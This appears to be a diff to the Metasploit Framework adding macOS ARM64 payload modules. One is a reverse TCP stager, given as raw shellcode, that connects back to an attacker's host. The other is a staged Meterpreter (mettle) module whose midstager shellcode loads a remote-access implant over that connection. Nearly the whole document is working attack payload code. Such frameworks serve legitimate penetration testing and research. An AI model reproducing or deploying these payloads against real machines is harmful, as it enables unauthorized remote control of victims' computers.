# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
###
#
# ReverseTcp
# ----------
#
# Osx reverse TCP stager.
#
###
module MetasploitModule
CachedSize = 328
include Msf::Payload::Stager
def initialize(info = {})
super(merge_info(info,
'Name' => 'Reverse TCP Stager',
'Description' => 'Connect back to the attacker',
'Author' => 'usiegl00',
'License' => MSF_LICENSE,
'Platform' => 'osx',
'Arch' => ARCH_AARCH64,
'Handler' => Msf::Handler::ReverseTcp,
'Stager' => { 'RequiresMidstager' => false},
'Convention' => 'sockedi',
))
end
def generate(opts = {})
encoded_port = [datastore['LPORT'].to_i,2].pack("vv").unpack("N").first
encoded_host = Rex::Socket.addr_aton(datastore['LHOST']||"127.127.127.127").unpack("V").first
retry_count = datastore['StagerRetryCount']
seconds = datastore['StagerRetryWait']
sleep_seconds = seconds.to_i
sleep_nanoseconds = (seconds % 1 * 1000000000).to_i
payload = [
# Generated from external/source/shellcode/osx/aarch64/stager_sock_reverse.s
0xaa1f03e0,
0xd2820001,
0xd2800042,
0xd2820043,
0xaa3f03e4,
0xaa1f03e5,
0x580007d0,
0xd4000001,
0xb100041f,
0x54000600,
0xaa0003ec,
0xd280000a,
0x1000064b,
0xf940016b,
0xd2800040,
0xd2800021,
0xd2800002,
0x580006b0,
0xd4000001,
0xaa0003ed,
0x10000501,
0xf9400021,
0xf81f8fe1,
0x910003e1,
0xd2800202,
0x580005f0,
0xd4000001,
0xaa0d03e0,
0xaa0c03e1,
0xd2802902,
0xd2800803,
0xaa1f03e4,
0xaa1f03e5,
0x58000530,
0xd4000001,
0xaa0c03e0,
0xd2802901,
0xd28000a2,
0x580004d0,
0xd4000001,
0xd61f0180,
0xd100056b,
0xf100017f,
0x540001c0,
0xd2800000,
0xd2800001,
0x10000242,
0xf9400042,
0x10000243,
0xf9400063,
0xa9bf0be3,
0x910003e4,
0xd2800002,
0xd2800003,
0x58000310,
0xd4000001,
0x54ffface,
0xd2800020,
0x580002d0,
0xd4000001,
encoded_port,
encoded_host,
retry_count,
0x00000000,
sleep_nanoseconds,
0x00000000,
sleep_seconds,
0x00000000,
0x020000c5,
0x00000000,
0x02000061,
0x00000000,
0x02000062,
0x00000000,
0x0200001d,
0x00000000,
0x0200004a,
0x00000000,
0x0200005d,
0x00000000,
0x02000001,
0x00000000,
].pack("V*")
return payload
end
end
@@ -0,0 +1,140 @@
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
module MetasploitModule
include Msf::Sessions::MeterpreterOptions
include Msf::Sessions::MettleConfig
def initialize(info = {})
super(update_info(info,
'Name' => 'OSX Meterpreter',
'Description' => 'Inject the mettle server payload (staged)',
'Platform' => 'osx',
'Author' => [
'parchedmind', # osx_runbin
'nologic', # shellcc
'timwr', # metasploit integration
'usiegl00' # aarch64
],
'References' => [
[ 'URL', 'https://github.com/CylanceVulnResearch/osx_runbin' ],
[ 'URL', 'https://github.com/nologic/shellcc' ]
],
'Arch' => ARCH_AARCH64,
'License' => MSF_LICENSE,
'Session' => Msf::Sessions::Meterpreter_aarch64_OSX,
'Convention' => 'sockedi',
)
)
end
def handle_intermediate_stage(conn, payload)
stager_file = File.join(Msf::Config.data_directory, "meterpreter", "aarch64_osx_stage")
data = File.binread(stager_file)
macho = Msf::Payload::MachO.new(data)
output_data = macho.flatten
entry_offset = macho.entrypoint
# external/source/shellcode/osx/aarch64/stage_mettle.s
midstager = [
0xaa1f03e0,
0x10000861,
0xf9400021,
0xd2800042,
0xd2820043,
0xaa1f03e4,
0xaa1f03e5,
0x58000870,
0xd4000001,
0xaa0003ea,
0xaa0d03e0,
0xaa0a03e1,
0x10000702,
0xf9400042,
0xd2800803,
0xaa1f03e4,
0xaa1f03e5,
0x58000770,
0xd4000001,
0xaa0a03e0,
0x10000601,
0xf9400021,
0xd28000a2,
0x580006f0,
0xd4000001,
0xaa1f03e0,
0x10000581,
0xf9400021,
0xd2800062,
0xd2820043,
0xaa1f03e4,
0xaa1f03e5,
0x58000550,
0xd4000001,
0xaa0003eb,
0xaa0d03e0,
0xaa0b03e1,
0x10000422,
0xf9400042,
0xd2800803,
0xaa1f03e4,
0xaa1f03e5,
0x58000450,
0xd4000001,
0x10000380,
0xf9400000,
0x8b0a0000,
0x100002ea,
0xf940014a,
0xaa0b03ec,
0xaa0003ef,
0xaa1f03e0,
0xd2880001,
0xd2800062,
0xd2820043,
0xaa1f03e4,
0xaa1f03e5,
0x58000230,
0xd4000001,
0x91400800,
0x9100001f,
0xaa0d03e0,
0xd63f01e0,
0xd2800000,
0x58000210,
0xd4000001,
0xd503201f,
0xd503201f,
output_data.length,
0x00000000,
payload.length,
0x00000000,
entry_offset,
0x00000000,
0x020000c5,
0x00000000,
0x0200001d,
0x00000000,
0x0200004a,
0x00000000,
0x02000001,
0x00000000,
].pack("V*")
print_status("Transmitting first stager...(#{midstager.length} bytes)")
conn.put(midstager) == midstager.length
Rex::sleep(0.1)
print_status("Transmitting second stager...(#{output_data.length} bytes)")
conn.put(output_data) == output_data.length
end
def generate_stage(opts = {})
config_opts = {scheme: 'tcp'}.merge(mettle_logging_config(opts))
mettle_macho = MetasploitPayloads::Mettle.new('aarch64-apple-darwin',
generate_config(opts.merge(config_opts))).to_binary :exec
mettle_macho[0] = 'b'
mettle_macho
end
end
@@ -26,6 +26,7 @@ arches = [
['x86', 'Linux', 'i486-linux-musl'],
['zarch', 'Linux', 's390x-linux-musl'],
['x64', 'OSX', 'x86_64-apple-darwin'],
['aarch64', 'OSX', 'aarch64-apple-darwin'],
['aarch64', 'Apple_iOS', 'aarch64-iphone-darwin'],
['armle', 'Apple_iOS', 'arm-iphone-darwin'],
]